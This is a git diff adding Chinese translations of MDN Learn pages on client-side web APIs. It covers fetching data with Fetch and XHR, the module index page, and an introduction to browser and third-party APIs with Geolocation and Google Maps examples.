因为它更扁平并且按理说对于更长的promise链它更容易读 — 每一个promise(承诺)接续上一个promise,而不是在上一个promise的里面(会使得整个代码笨重起来,难以理解)。以上两种写法还有一个不同的地方是我们在<code>response.text()</code> 语句之前得包含一个 <code><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">return</a></code> 语句, 用来把这一部分的结果传向promise链的下一段。</p> + +<h3 id="你应该用哪种方法呢">你应该用哪种方法呢?</h3> + +<p> 这完全取决于你正在干的项目是啥样。XHR已经面世非常之久,现在已经有了相当棒的跨浏览器支持。然而对于网页平台来说,Fetch和Promise是新近的产物,除了IE和Safari浏览器不支持,别的浏览器大多提供了支持。(现在Safari也即将为fetch和promise提供支持)。</p> + +<p> 如果你的项目需要支持年代久远的浏览器,那么使用XHR可能会更爽一些。如果你的项目比较激进而且你根本不管老版的浏览器吃不吃这套,那就选择Fetch吧老铁。</p> + +<p> 话说回来,咱倒真应该两者都学学——因为使用IE浏览器的人们在变少,Fetch会变得越来越流行(事实上IE已经没人管了,因为微软Edge浏览器的受宠),但在所有浏览器彻底支持Fetch之前,你可能还得和XHR纠缠一阵子。</p> + +<h2 id="一个更复杂的示例">一个更复杂的示例</h2> + +<p>为了使本文更详尽,我们将看一个稍微复杂一点的示例,它展示了Fetch的一些更有趣的用法。我们创建了一个名为Can Store的示例站点——它是一个虚构的超市,只出售罐头食品。你可以找到 <a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/">example live on GitHub</a>,并且 <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/fetching-data/can-store">see the source code</a> 。</p> + +<p><img alt="A fake ecommerce site showing search options in the left hand column, and product search results in the right hand column." src="https://mdn.mozillademos.org/files/14779/can-store.png" style="display: block; margin: 0 auto;"></p> + +<p>默认情况下,站点会显示所有产品,但您可以使用左手列中的表单控件按类别或搜索词或两者进行筛选。</p> + +<p>有很多复杂的代码处理按类别和搜索词过滤产品、操作字符串以便数据在UI中正确显示等等。我们不会在本文中讨论所有这些,但是您可以在代码中找到大量的注释 (see <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-script.js">can-script.js</a>)。</p> + +<p>但是,我们会解释Fetch代码的含义。</p> + +<p>第一个使用Fetch的块可以在JavaScript的开头找到:</p> + +<pre class="brush: js">fetch('products.json').then(function(response) { + if(response.ok) { + response.json().then(function(json) { + products = json; + initialize(); + }); + } else { + console.log('Network request for products.json failed with response ' + response.status + ': ' + response.statusText); + } +});</pre> + +<p>这看起来和我们之前看到的相似,只是第二个promise是在一个条件语句中。在条件下,我们检查返回的response是否成功 — {{domxref("response.ok")}} 属性包含一个布尔变量,如果response是成功的 (e.g. <a href="/en-US/docs/Web/HTTP/Status/200">200 meaning "OK"</a>),则是<code>true</code>;如果失败了,则是<code>false</code>。</p> + +<p>如果response成功,我们运行第二个promise — 然而,这次我们使用 {{domxref("Body.json","json()")}},而不是{{domxref("Body.text","text()")}}, 因为我们想要response返回的是一个结构化的JSON数据,而不是纯文本。</p> + +<p>如果response失败,我们将输出一个错误到控制台,指出网络请求失败,该控制台将报告响应的网络状态和描述性消息(分别包含在{{domxref("response.status")}}和{{domxref("response.statusText")}}属性中)。 当然,一个完整的web站点可以通过在用户的屏幕上显示一条消息来更优雅地处理这个错误,也许还可以提供一些选项来补救这种情况。</p> + +<p>您可以自己测试失败案例:</p> + +<ol> + <li>制作示例文件的本地副本(下载并解压<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-store.zip?raw=true">the can-store ZIP file</a>)</li> + <li>通过web服务器运行代码(如上所述,在 {{anch("Serving your example from a server")}})</li> + <li>修改要获取的文件的路径,比如“produc.json'(确保你拼写的是错误的)</li> + <li>现在在你的浏览器上加载索引文件 (通过 <code>localhost:8000</code>) 然后查看你的开发者控制台。 你将看到一条类似于“网络请求products.json失败,404:找不到文件”的消息</li> +</ol> + +<p>第二个Fetch块可以在<code>fetchBlob()</code> 找到:</p> + +<pre class="brush: js">fetch(url).then(function(response) { + if(response.ok) { + response.blob().then(function(blob) { + objectURL = URL.createObjectURL(blob); + showProduct(objectURL, product); + }); + } else { + console.log('Network request for "' + product.name + '" image failed with response ' + response.status + ': ' + response.statusText); + } +});</pre> + +<p>它的工作原理和前一个差不多, 除了我们放弃{{domxref("Body.json","json()")}}而使用{{domxref("Body.blob","blob()")}} — 在本例中,我们希望以图像文件的形式返回响应,为此使用的数据格式是<a href="/en-US/docs/Web/API/Blob">Blob</a> — 这个词是“二进制大对象”的缩写,基本上可以用来表示大型文件类对象——比如图像或视频文件。</p> + +<p>一旦我们成功地接收到我们的blob,我们就会使用它创建一个对象URL {{domxref("URL.createObjectURL()", "createObjectURL()")}}. 它返回一个指向浏览器中引用的对象的临时内部URL。这些不是很容易读懂,但是你可以通过打开Can Store看到,按Ctrl-/右键单击一个图像,然后选择“View Image(查看图像)”选项(根据您使用的浏览器可能略有不同)。 对象URL将在地址栏中可见,应该是这样的:</p> + +<pre>blob:http://localhost:7800/9b75250e-5279-e249-884f-d03eb1fd84f4</pre> + +<h3 id="挑战:一个XHR版本的Can_Store">挑战:一个XHR版本的Can Store</h3> + +<p>我们希望您能尝试将Fetch版本转换为使用XHR,作为一个有用的实践。下载一份 <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-store.zip?raw=true">copy of the ZIP file</a>, 并适当修改下JavaScript。</p> + +<p>一些有用的提示:</p> + +<ul> + <li>你可能会发现 {{domxref("XMLHttpRequest")}} 作参考材料非常有用。</li> + <li>你基本上需要使用和你在前面的文章中看到的<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/xhr-basic.html">XHR-basic.html</a>例子相同的模式。</li> + <li>但是,您将需要添加我们在Can Store的Fetch版本中显示的错误处理: + <ul> + <li>在<code>load</code>事件完毕后,response被用于<code>request.response</code>而不是promise的<code>then()</code>。</li> + <li>Fetch的 <code>response.ok</code>在XHR中的最佳等效为检查 {{domxref("XMLHttpRequest.status","request.status")}} 是否等于200或者 {{domxref("XMLHttpRequest.readyState","request.readyState")}} 是否等于4。</li> + <li>获取状态和状态信息的内容是一样的, 但是它们在 <code>request</code> (XHR) 对象,而不是<code>response</code> 对象。</li> + </ul> + </li> +</ul> + +<div class="note"> +<p><strong>注意</strong>: 如果您在这方面有问题,请到Github将您的代码和完成的版本进行对比 ( <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store-xhr/can-script.js">see the source here</a>, see also <a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store-xhr/">see it running live</a> )。</p> +</div> + +<h2 id="概述">概述</h2> + +<p>我们这篇关于从服务器那儿抓取数据的文章就到此为止了。现在你应该对如何使用XHR和Fetch有一些了解了吧?</p> + +<h2 id="请参阅">请参阅</h2> + +<p>虽然本文中讨论了许多不同的主题,但是这些主题仅仅只是触及了表面。有关这些主题的更多详细信息,请尝试以下文章:</p> + +<ul> + <li><a href="/en-US/docs/AJAX/Getting_Started">Ajax — Getting started</a></li> + <li><a href="/en-US/docs/Web/API/Fetch_API/Using_Fetch">Using Fetch</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Working with JSON data</a></li> + <li><a href="/en-US/docs/Web/HTTP/Overview">An overview of HTTP</a></li> + <li><a href="/en-US/docs/Learn/Server-side">Server-side website programming</a></li> + <li> + <p><a href="https://jsperf.com/xhr-vs-jquery-ajax-vs-get-vs-fetch">https://jsperf.com/xhr-vs-jquery-ajax-vs-get-vs-fetch</a></p> + </li> + <li> + <p><a href="https://xhr.spec.whatwg.org/#example-xhr">https://xhr.spec.whatwg.org/#example-xhr</a></p> + </li> +</ul> + +<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<div></div> + +<h2 id="模块大纲">模块大纲</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">介绍web APIs</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">操作DOM documents</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">从服务器获取数据</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">第三方APIs</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">绘图</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">视频音频APIs</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">客户端存储</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/client-side_web_apis/index.html b/files/zh-cn/learn/javascript/client-side_web_apis/index.html new file mode 100644 index 0000000000..30bec1c50f --- /dev/null +++ b/files/zh-cn/learn/javascript/client-side_web_apis/index.html @@ -0,0 +1,47 @@ +--- +title: 客户端 Web API +slug: Learn/JavaScript/Client-side_web_APIs +tags: + - API(应用程序编程接口) + - DOM(文档对象模型) + - JavaScript + - WebAPI(网页接口) + - 初学者 + - 图形学 + - 数据 + - 文章 + - 脚本编程 +translation_of: Learn/JavaScript/Client-side_web_APIs +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">当你给网页或者网页应用编写客户端的JavaScript时, 你很快会遇上应用程序接口(API )—— 这些编程特性可用来操控网站所基于的浏览器与操作系统的不同方面,或是操控由其他网站或服务端传来的数据。在这个单元里,我们将一同探索什么是API,以及如何使用一些在你开发中将经常遇见的API。</p> + +<h2 id="预备知识">预备知识</h2> + +<p>若想深入理解这个单元的内容, 你必须能够以自己的能力较好地学完之前的几个章节 (<a href="/zh-CN/docs/Learn/JavaScript/First_steps">JavaScript第一步</a>, <a href="/zh-CN/docs/Learn/JavaScript/First_steps">JavaScript</a><a href="/zh-CN/docs/Learn/JavaScript/Building_blocks">基础要件</a>, 和<a href="/zh-CN/docs/Learn/JavaScript/First_steps">JavaScript</a><a href="/zh-CN/docs/Learn/JavaScript/Objects">对象介绍</a>). 这几部分涉及到了许多简单的API的使用, 如果没有它们我们将很难做一些实际的事情。在这个教程中,我们会认为你懂得JavaScript的核心知识,而且我们将更深入地探索常见的网页API。</p> + +<p>若你知道 <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML">HTML</a> 和 <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS">CSS</a> 的基本知识,也会对理解这个单元的内容大有裨益。</p> + +<div class="note"> +<p>注意:如果你正在使用一台无法创建你自身文件的电脑、平板或其他设备,你可以尝试使用一些在线网页编辑器如<a href="http://jsbin.com/">JSBin</a>或者<a href="https://thimble.mozilla.org/">Thimble</a>,来尝试编辑一些代码示例。</p> +</div> + +<h2 id="向导">向导</h2> + +<dl> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Web API简介</a></dt> + <dd>首先, 我们将从一个更高的角度来看这些API —它们是什么,它们怎么起作用的,你该怎么在自己的代码中使用它们以及他们是怎么构成的? 我们依旧会再来看一看这些API有哪些主要的种类和他们会有哪些用处。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">操作文档</a></dt> + <dd>当你在制作WEB页面和APP时,一个你最经常想要做的事就是通过一些方法来操作WEB文档。这其中最常见的方法就是使用文档对象模型Document Object Model (DOM),它是一系列大量使用了 {{domxref("Document")}} object的API来控制HTML和样式信息。通过这篇文章,我们来看看使用DOM方面的一些细节, 以及其他一些有趣的API能够通过一些有趣的方式改变你的环境。</dd> + <dt><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">从服务器获取数据</a></dt> + <dd>在现代网页及其APP中另外一个很常见的任务就是与服务器进行数据交互时不再刷新整个页面,这看起来微不足道,但却对一个网页的展现和交互上起到了很大的作用,在这篇文章里,我们将阐述这个概念,然后来了解实现这个功能的技术,例如 {{domxref("XMLHttpRequest")}} 和 <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.(抓取API)。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">第三方 API</a></dt> + <dd>到目前为止我们所涉及的API都是浏览器内置的,但并不代表所有。许多大网站如Google Maps, Twitter, Facebook, PayPal等,都提供他们的API给开发者们去使用他们的数据(比如在你的博客里展示你分享的推特内容)或者服务(如在你的网页里展示定制的谷歌地图或接入Facebook登录功能)。这篇文章介绍了浏览器API和第三方API 的差别以及一些最新的典型应用。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">绘制图形</a></dt> + <dd>浏览器包含多种强大的图形编程工具,从可缩放矢量图形语言Scalable Vector Graphics (<a href="/zh-CN/docs/Web/SVG">SVG</a>) language,到HTML绘制元素 {{htmlelement("canvas")}} 元素(<a href="/zh-CN/docs/Web/API/Canvas_API">The Canvas API</a> and <a href="/zh-CN/docs/Web/API/WebGL_API">WebGL</a>). 这篇文章提供了部分canvas的简介,以及让你更深入学习的资源。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">视频和音频 API</a></dt> + <dd>HTML5能够通过元素标签嵌入富媒体——{{htmlelement("video")}} and {{htmlelement("audio")}}——而将有自己的API来控制回放,搜索等功能。本文向您展示了如何创建自定义播放控制等常见的任务。</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">客户端存储</a></dt> + <dd>现代web浏览器拥有很多不同的技术,能够让你存储与网站相关的数据,并在需要时调用它们,能够让你长期保存数据、保存离线网站及其他实现其他功能。本文解释了这些功能的基本原理。</dd> +</dl> diff --git a/files/zh-cn/learn/javascript/client-side_web_apis/introduction/index.html b/files/zh-cn/learn/javascript/client-side_web_apis/introduction/index.html new file mode 100644 index 0000000000..f549f9919d --- /dev/null +++ b/files/zh-cn/learn/javascript/client-side_web_apis/introduction/index.html @@ -0,0 +1,275 @@ +--- +title: Web API简介 +slug: Learn/JavaScript/Client-side_web_APIs/Introduction +tags: + - API + - CodingScripting + - WebAPI + - 初学者 + - 学习 + - 客户机端 + - 对象 + - 文章 + - 浏览器 + - 第三方 +translation_of: Learn/JavaScript/Client-side_web_APIs/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/JavaScript/Client-side_Web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_Web_API")}}</div> + +<p class="summary">首先,我们将从一个高层次看看API - 它们是什么;他们如何工作;如何在代码中使用它们,以及它们是如何组织的。我们也将看看不同主要类别的API以及它们的用途。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识</th> + <td>基本计算机知识,对于HTML和CSS的基本理解(见<a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps">JavaScript 第一步</a>,<a href="/zh-CN/docs/learn/JavaScript/Building_blocks">创建JavaScript代码块</a>,<a href="/zh-CN/docs/Learn/JavaScript/Objects">JavaScript 对象入门</a>)。</td> + </tr> + <tr> + <th scope="row">目标</th> + <td>熟悉API,他们可以做什么,以及如何在代码中使用它们。</td> + </tr> + </tbody> +</table> + +<h2 id="什么是API">什么是API?</h2> + +<p>应用程序接口(API)是基于编程语言构建的结构,使开发人员更容易地创建复杂的功能。它们抽象了复杂的代码,并提供一些简单的接口规则直接使用。</p> + +<p>来看一个现实中的例子:想想您的房子、公寓或其他住宅的供电方式,如果您想在您的房子里用电,只要把电器的插头插入插座就可以,而不是直接把它连接到电线上——这样做非常低效,而且对于不是电工的人会是困难和危险的。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14317/plug-socket.png" style="display: block; height: 472px; margin: 0px auto; width: 700px;"></p> + +<p><em>图片来自:<a href="https://www.flickr.com/photos/easy-pics/9518184890/in/photostream/lightbox/">Overloaded plug socket</a> 提供者: <a href="https://www.flickr.com/photos/easy-pics/">The Clear Communication People</a>于Flickr。</em></p> + +<p>同样,比如说,编程来显示一些3D图形,使用以更高级语言编写的API(例如JavaScript或Python)将会比直接编写直接控制计算机的GPU或其他图形功能的低级代码(比如C或C++)来执行操作要容易得多。</p> + +<div class="note"> +<p><strong>注:</strong>详细说明请见<a href="https://developer.mozilla.org/en-US/docs/Glossary/API">API - Glossary</a>。</p> +</div> + +<h3 id="客户端JavaScript中的API">客户端JavaScript中的API</h3> + +<p>客户端JavaScript中有很多可用的API — 他们本身并不是JavaScript语言的一部分,却建立在JavaScript语言核心的顶部,为使用JavaScript代码提供额外的超强能力。他们通常分为两类:</p> + +<ul> + <li><strong>浏览器API</strong>内置于Web浏览器中,能从浏览器和电脑周边环境中提取数据,并用来做有用的复杂的事情 。例如<a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">Geolocation API</a>提供了一些简单的JavaScript结构以获得位置数据,因此您可以在Google地图上标示您的位置。在后台,浏览器确实使用一些复杂的低级代码(例如C++)与设备的GPS硬件(或可以决定位置数据的任何设施)通信来获取位置数据并把这些数据返回给您的代码中使用浏览器环境;但是,这种复杂性通过API抽象出来,因而与您无关。</li> + <li><strong>第三方API</strong>缺省情况下不会内置于浏览器中,通常必须在Web中的某个地方获取代码和信息。例如<a href="https://dev.twitter.com/overview/documentation">Twitter API</a> 使您能做一些显示最新推文这样的事情,它提供一系列特殊的结构,可以用来请求Twitter服务并返回特殊的信息。</li> +</ul> + + + + + +<p><img alt="" src="https://mdn.mozillademos.org/files/13508/browser.png" style="display: block; height: 511px; margin: 0px auto; width: 815px;"></p> + + + +<h3 id="JavaScript,API和其他JavaScript工具之间的关系">JavaScript,API和其他JavaScript工具之间的关系</h3> + +<p>如上所述,我们讨论了什么是客户端JavaScript API,以及它们与JavaScript语言的关系。让我们回顾一下,使其更清晰,并提及其他JavaScript工具的适用位置:</p> + +<ul> + <li>JavaScript — 一种内置于浏览器的高级脚本语言,您可以用来实现Web页面/应用中的功能。注意JavaScript也可用于其他象<a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Node</a>这样的的编程环境。但现在您不必考虑这些。</li> + <li>客户端API — 内置于浏览器的结构程序,位于JavaScript语言顶部,使您可以更容易的实现功能。</li> + <li>第三方API — 置于第三方普通的结构程序(例如Twitter,Facebook),使您可以在自己的Web页面中使用那些平台的某些功能(例如在您的Web页面显示最新的Tweets)。</li> + <li>JavaScript库 — 通常是包含具有<a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Custom_functions">特定功能</a>的一个或多个JavaScript文件,把这些文件关联到您的Web页以快速或授权编写常见的功能。例如包含jQuery和Mootools</li> + <li>JavaScript框架 — 从库开始的下一步,JavaScript框架视图把HTML、CSS、JavaScript和其他安装的技术打包在一起,然后用来从头编写一个完整的Web应用。</li> +</ul> + +<h2 id="API可以做什么?">API可以做什么?</h2> + +<p>在主流浏览器中有大量的可用API,您可以在代码中做许多的事情,对此可以查看<a href="https://developer.mozilla.org/en-US/docs/Web/API">MDN API index page</a>。</p> + +<h3 id="常见浏览器API">常见浏览器API</h3> + +<p>特别地,您将使用的最常见的浏览器API类别(以及我们将更详细地介绍的)是:</p> + +<ul> + <li><strong>操作文档的API</strong>内置于浏览器中。最明显的例子是<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Document_Object_Model">DOM(文档对象模型)</a>API,它允许您操作HTML和CSS — 创建、移除以及修改HTML,动态地将新样式应用到您的页面,等等。每当您看到一个弹出窗口出现在一个页面上,或者显示一些新的内容时,这都是DOM的行为。 您可以在在<a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipulating documents</a>中找到关于这些类型的API的更多信息。</li> + <li><strong>从服务器获取数据的API </strong>用于更新网页的一小部分是相当好用的。这个看似很小的细节能对网站的性能和行为产生巨大的影响 — 如果您只是更新一个股票列表或者一些可用的新故事而不需要从服务器重新加载整个页面将使网站或应用程序感觉更加敏感和“活泼”。使这成为可能的API包括<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest" title="XMLHttpRequest is an API that provides client functionality for transferring data between a client and a server. It provides an easy way to retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just a part of the page without disrupting what the user is doing."><code>XMLHttpRequest</code></a>和<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Fetch_API">Fetch API</a>。您也可能会遇到描述这种技术的术语<strong>Ajax</strong>。您可以在<a href="/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a>找到关于类似的API的更多信息。</li> + <li><strong>用于绘制和操作图形的API</strong>目前已被浏览器广泛支持 — 最流行的是允许您以编程方式更新包含在HTML {{htmlelement("canvas")}} 元素中的像素数据以创建2D和3D场景的<a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">Canvas</a>和<a href="https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API">WebGL</a>。例如,您可以绘制矩形或圆形等形状,将图像导入到画布上,然后使用Canvas API对其应用滤镜(如棕褐色滤镜或灰度滤镜),或使用WebGL创建具有光照和纹理的复杂3D场景。这些API经常与用于创建动画循环的API(例如{{domxref("window.requestAnimationFrame()")}})和其他API一起不断更新诸如动画和游戏之类的场景。</li> + <li><strong>音频和视频API</strong>例如{{domxref("HTMLMediaElement")}},<a href="/zh-CN/docs/Web/API/Web_Audio_API">Web Audio API</a>和<a href="/zh-CN/docs/MDN/Doc_status/API/WebRTC">WebRTC</a>允许您使用多媒体来做一些非常有趣的事情,比如创建用于播放音频和视频的自定义UI控件,显示字幕字幕和您的视频,从网络摄像机抓取视频,通过画布操纵(见上),或在网络会议中显示在别人的电脑上,或者添加效果到音轨(如增益,失真,平移等) 。</li> + <li><strong>设备API</strong>基本上是以对网络应用程序有用的方式操作和检索现代设备硬件中的数据的API。我们已经讨论过访问设备位置数据的地理定位API,因此您可以在地图上标注您的位置。其他示例还包括通过系统通知(参见<a href="/zh-CN/docs/Web/API/Notifications_API">Notifications API</a>)或振动硬件(参见<a href="/zh-CN/docs/Web/API/Vibration_API">Vibration API</a>)告诉用户Web应用程序有用的更新可用。</li> + <li><strong>客户端存储API</strong>在Web浏览器中的使用变得越来越普遍 - 如果您想创建一个应用程序来保存页面加载之间的状态,甚至让设备在处于脱机状态时可用,那么在客户端存储数据将会是非常有用的。例如使用<a href="/zh-CN/docs/Web/API/Web_Storage_API">Web Storage API</a>的简单的键 - 值存储以及使用<a href="/zh-CN/docs/Web/API/IndexedDB_API">IndexedDB API</a>的更复杂的表格数据存储。</li> +</ul> + +<h3 id="常见第三方API">常见第三方API</h3> + +<p>第三方API种类繁多; 下列是一些比较流行的你可能迟早会用到的第三方API:</p> + +<ul> + <li>The <a href="https://dev.twitter.com/overview/documentation">Twitter API</a>, 允许您在您的网站上展示您最近的推文等。</li> + <li>The <a href="https://developers.google.com/maps/">Google Maps API</a> 允许你在网页上对地图进行很多操作(这很有趣,它也是Google地图的驱动器)。现在它是一整套完整的,能够胜任广泛任务的API。其能力已经被<a href="https://developers.google.com/maps/documentation/api-picker">Google Maps API Picker</a>见证。</li> + <li>The <a href="https://developers.facebook.com/docs/">Facebook suite of API</a> 允许你将很多Facebook生态系统中的功能应用到你的app,使之受益,比如说它提供了通过Facebook账户登录、接受应用内支付、推送有针对性的广告活动等功能。</li> + <li>The <a href="https://developers.google.com/youtube/">YouTube API</a>, 允许你将Youtube上的视频嵌入到网站中去,同时提供搜索Youtube,创建播放列表等众多功能。</li> + <li>The <a href="https://www.twilio.com/">Twilio API</a>, 其为您的app提供了针对语音通话和视频聊天的框架,以及从您的app发送短信息或多媒体信息等诸多功能。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: 你可以在 <a href="http://www.programmableweb.com/category/all/apis">Programmable Web API directory</a>.上发现更多关于第三方API的信息。</p> +</div> + +<h2 id="API如何工作?">API如何工作?</h2> + +<p>不同的JavaScript API以稍微不同的方式工作,但通常它们具有共同的特征和相似的主题。</p> + +<h3 id="它们是基于对象的">它们是基于对象的</h3> + +<p> API使用一个或多个 <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects">JavaScript objects</a> 在您的代码中进行交互,这些对象用作API使用的数据(包含在对象属性中)的容器以及API提供的功能(包含在对象方法中)。</p> + +<div class="note"> +<p> 注意:如果您不熟悉对象如何工作,则应继续学习 <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects">JavaScript objects</a> 模块。</p> +</div> + +<p>让我们回到Geolocation API的例子 - 这是一个非常简单的API,由几个简单的对象组成:</p> + +<ul> + <li>{{domxref("Geolocation")}}, 其中包含三种控制地理数据检索的方法</li> + <li>{{domxref("Position")}}, 表示在给定的时间的相关设备的位置。 — 它包含一个当前位置的 {{domxref("Coordinates")}} 对象。还包含了一个时间戳,这个时间戳表示获取到位置的时间。</li> + <li>{{domxref("Coordinates")}}, 其中包含有关设备位置的大量有用数据,包括经纬度,高度,运动速度和运动方向等。</li> +</ul> + +<pre class="brush: js notranslate">navigator.geolocation.getCurrentPosition(function(position) { + var latlng = new google.maps.LatLng(position.coords.latitude,position.coords.longitude); + var myOptions = { + zoom: 8, + center: latlng, + mapTypeId: google.maps.MapTypeId.TERRAIN, + disableDefaultUI: true + } + var map = new google.maps.Map(document.querySelector("#map_canvas"), myOptions); +});</pre> + +<div class="note"> +<p><strong>Note</strong>: 当您第一次加载上述实例,应当出现一个对话框询问您是否乐意对此应用共享位置信息(参见 {{anch("They have additional security mechanisms where appropriate")}} 这一稍后将会提到的部分)。 您需要同意这项询问以将您的位置于地图上绘制。如果您始终无法看见地图,您可能需要手动修改许可项。修改许可项的方法取决于您使用何种浏览器,对于Firefox浏览器来说,在页面信息 > 权限 中修改位置权限,在Chrome浏览器中则进入 设置 > 隐私 > 显示高级设置 > 内容设置,其后修改位置设定。</p> +</div> + +<p>我们首先要使用 {{domxref("Geolocation.getCurrentPosition()")}} <font>方法返回设备的当前位置。</font><font>浏览器的 </font>{{domxref("Geolocation")}} 对象通过调用 {{domxref("Navigator.geolocation")}} <font>属性</font><font>来访问.</font></p> + +<pre class="brush: js notranslate">navigator.geolocation.getCurrentPosition(function(position) { ... });</pre> + +<p>这相当于做同样的事情</p> + +<pre class="brush: js notranslate">var myGeo = navigator.geolocation; +myGeo.getCurrentPosition(function(position) { ... });</pre> + +<p>但是我们可以使用 "点运算符" 将我们的属性和方法的访问链接在一起,减少了我们必须写的行数。</p> + +<p>{{domxref("Geolocation.getCurrentPosition()")}} 方法只有一个必须的参数,这个参数是一个匿名函数,当设备的当前位置被成功取到时,这个函数会运行。 这个函数本身有一个参数,它包含一个表示当前位置数据的 {{domxref("Position")}} 对象。</p> + +<div class="note"> +<p><strong>注意:由另一个函数作为参数的函数称为</strong> (<a href="https://developer.mozilla.org/en-US/docs/Glossary/Callback_function">callback function</a> "回调函数").</p> +</div> + +<p>仅在操作完成时调用函数的模式在JavaScript API中非常常见 - 确保一个操作已经完成,然后在另一个操作中尝试使用该操作返回的数据。这些被称为 <strong><a href="https://developer.mozilla.org/en-US/docs/Glossary/Asynchronous">asynchronous</a> </strong> “异步”操作。由于获取设备的当前位置依赖于外部组件(设备的GPS或其他地理定位硬件), 我们不能保证会立即使用返回的数据。 因此,这样子是行不通的:</p> + +<pre class="brush: js notranslate">var position = navigator.geolocation.getCurrentPosition(); +var myLatitude = position.coords.latitude;</pre> + +<p>如果第一行还没有返回结果,则第二行将会出现错误,因为位置数据还不可用。 出于这个原因,涉及同步操作的API被设计为使用 {{glossary("callback function")}}s “回调函数”,或更现代的 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> 系统,这些系统在ECMAScript 6中可用,并被广泛用于较新的API。</p> + +<p>我们将Geolocation API与第三方API(Google Maps API)相结合, — 我们正在使用它来绘制Google地图上由 <code>getCurrentPosition()</code>返回的位置。 我们通过链接到页面上使这个API可用。 — 你会在HTML中找到这一行:</p> + +<pre class="brush: html notranslate"><script type="text/javascript" src="https://maps.google.com/maps/API/js?key=AIzaSyDDuGt0E5IEGkcE6ZfrKfUtE9Ko_de66pA"></script></pre> + +<p>要使用该API, 我们首先使用<code>google.maps.LatLng()</code>构造函数创建一个<code>LatLng</code>对象实例, 该构造函数需要我们的地理定位 {{domxref("Coordinates.latitude")}} 和 {{domxref("Coordinates.longitude")}}值作为参数:</p> + +<pre class="brush: js notranslate">var latlng = new google.maps.LatLng(position.coords.latitude,position.coords.longitude);</pre> + +<p>该对象实例被设置为 <code>myOptions</code>对象的<code>center</code>属性的值。然后我们通过调用<code>google.maps.Map()</code>构造函数创建一个对象实例来表示我们的地图, 并传递它两个参数 — 一个参数是我们要渲染地图的 {{htmlelement("div")}} 元素的引用 (ID为 <code>map_canvas</code>), 以及另一个参数是我们在上面定义的<code>myOptions</code>对象</p> + +<pre class="brush: js notranslate">var myOptions = { + zoom: 8, + center: latlng, + mapTypeId: google.maps.MapTypeId.TERRAIN, + disableDefaultUI: true +} + +var map = new google.maps.Map(document.querySelector("#map_canvas"), myOptions);</pre> + +<p>这样做一来,我们的地图呈现了。</p> + +<p>最后一块代码突出显示了您将在许多API中看到的两种常见模式。 首先,API对象通常包含构造函数,可以调用这些构造函数来创建用于编写程序的对象的实例。 